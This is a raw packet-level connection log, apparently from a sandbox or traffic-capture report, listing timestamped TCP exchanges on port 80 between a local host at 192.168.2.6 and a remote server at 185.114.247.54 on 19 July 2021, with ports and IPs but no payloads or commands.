Jul 19, 2021 18:36:52.083713055 CEST	50059	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.084434032 CEST	50059	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.085571051 CEST	80	50057	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.085670948 CEST	50057	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.090130091 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.090173960 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.090415001 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.090492010 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.090498924 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.090564013 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.090692997 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.090759039 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.090822935 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.090883970 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.090974092 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.091034889 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.091146946 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.091229916 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.091556072 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.091626883 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.091830015 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.091895103 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.091901064 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.091948032 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.092197895 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.092271090 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.092789888 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.093708038 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.163639069 CEST	80	50059	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.163664103 CEST	80	50059	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.163780928 CEST	50059	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.188030958 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188055038 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188066959 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188128948 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.188169956 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.188258886 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188329935 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.188360929 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188410044 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.188730001 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188797951 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.188894987 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.188947916 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.189223051 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.189300060 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.189749002 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.189814091 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.191270113 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.191360950 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.236634016 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.236707926 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.270649910 CEST	50059	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.271826029 CEST	50060	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.285891056 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.285943031 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.285955906 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.285965919 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.286042929 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.286079884 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.286240101 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.286251068 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.286370993 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.286511898 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.286632061 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.286796093 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.287230968 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.287314892 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.288901091 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.288957119 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.334050894 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.334069014 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.349581957 CEST	80	50059	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.349607944 CEST	80	50060	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.349839926 CEST	50059	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.349884033 CEST	50060	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.350493908 CEST	50060	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.383363008 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.383513927 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.383548975 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.383560896 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.383570910 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.383622885 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.383683920 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.398196936 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.428464890 CEST	80	50060	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.428567886 CEST	80	50060	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.428657055 CEST	50060	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.476993084 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.477329016 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.480133057 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.480169058 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.480186939 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.480211973 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.534543991 CEST	50060	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.535613060 CEST	50062	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.558820963 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.558898926 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.558962107 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.559009075 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.559381008 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.559461117 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.559529066 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.559578896 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.559940100 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.560012102 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.560343981 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.560405016 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.560534000 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.560580969 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.560894966 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.560952902 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.561017990 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.561074972 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.561177015 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.561223030 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.561326027 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.561372042 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.561650991 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.561714888 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.612282991 CEST	80	50060	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.612384081 CEST	50060	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.616499901 CEST	80	50062	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.616625071 CEST	50062	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.617274046 CEST	50062	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.637684107 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.637703896 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.637716055 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.637918949 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.637963057 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.638098001 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.638189077 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.638437033 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.638601065 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.638680935 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.638751030 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.639039040 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.639137983 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.639396906 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.639482021 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.639513016 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.639599085 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.640049934 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.640136957 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.696641922 CEST	80	50062	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.696671009 CEST	80	50062	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.696846008 CEST	50062	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.716670036 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.716839075 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.716888905 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.716924906 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.717091084 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.717130899 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.717499971 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.717520952 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.717675924 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.717866898 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.718113899 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.718131065 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.718372107 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.718384981 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.718770981 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.718924999 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.795222998 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.795252085 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.795259953 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.795270920 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.795278072 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.814059973 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.814419031 CEST	50062	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.815886974 CEST	50063	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.893640041 CEST	80	50061	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.893937111 CEST	50061	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.895062923 CEST	80	50062	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.895169020 CEST	50062	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.901082993 CEST	80	50063	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.901186943 CEST	50063	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.901813030 CEST	50063	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.929539919 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.984507084 CEST	80	50063	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.985397100 CEST	80	50063	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:52.985485077 CEST	50063	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.009180069 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.009310961 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.009901047 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.010046005 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.010257006 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.010395050 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.088290930 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.088316917 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.088346004 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.088414907 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.088579893 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.088649988 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.088783026 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.088839054 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.089102983 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.089175940 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.089261055 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.089375973 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.089437962 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.089458942 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.089526892 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.089696884 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.089756012 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.089937925 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.089998960 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.090055943 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.090107918 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.090178967 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.090245008 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.095555067 CEST	50063	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.097104073 CEST	50065	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.166726112 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.166759014 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.166847944 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.167062044 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.167222023 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.167243004 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.167366028 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.167418957 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.167469978 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.167561054 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.167812109 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.167927027 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.168045998 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.168127060 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.168333054 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.168417931 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.175967932 CEST	80	50065	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.176151991 CEST	50065	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.177257061 CEST	50065	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.178328037 CEST	80	50063	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.178419113 CEST	50063	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.213576078 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.213712931 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.245146990 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.245465994 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.245506048 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.245518923 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.245570898 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.245672941 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.245788097 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.245917082 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.246076107 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.246196032 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.246433973 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.257299900 CEST	80	50065	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.257441044 CEST	80	50065	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.257517099 CEST	50065	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.291999102 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.292037010 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.323472023 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.323498964 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.323507071 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.323616982 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.616230011 CEST	50065	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.616606951 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.644989014 CEST	50066	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.647708893 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.694938898 CEST	80	50065	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.695050955 CEST	50065	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.695704937 CEST	80	50064	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.695787907 CEST	50064	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.722969055 CEST	80	50066	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.723242998 CEST	50066	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.724073887 CEST	50066	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.739842892 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.740088940 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.740824938 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.740974903 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.741215944 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.741343975 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.802110910 CEST	80	50066	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.802143097 CEST	80	50066	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.802274942 CEST	50066	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.833101034 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.833195925 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.833411932 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.833776951 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.833802938 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.833906889 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.833956003 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.834032059 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.834121943 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.834306002 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.834415913 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.834633112 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.834708929 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.834773064 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.834836960 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.835109949 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.835200071 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.835284948 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.835385084 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.835589886 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.835858107 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.835932970 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.836025000 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.908162117 CEST	50066	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.909641027 CEST	50068	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.925582886 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.925610065 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.925617933 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.925729990 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.925793886 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.925848007 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.925905943 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.926423073 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.926490068 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.926556110 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.926597118 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.926814079 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.926976919 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.928052902 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.928203106 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:53.985934019 CEST	80	50066	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:53.986061096 CEST	50066	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.003241062 CEST	80	50068	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.003531933 CEST	50068	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.004180908 CEST	50068	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.017560005 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.017589092 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.017697096 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.017855883 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.018258095 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.018311977 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.018404007 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.018404961 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.018529892 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.018662930 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.018678904 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.018778086 CEST	80	50067	185.114.247.54	192.168.2.6
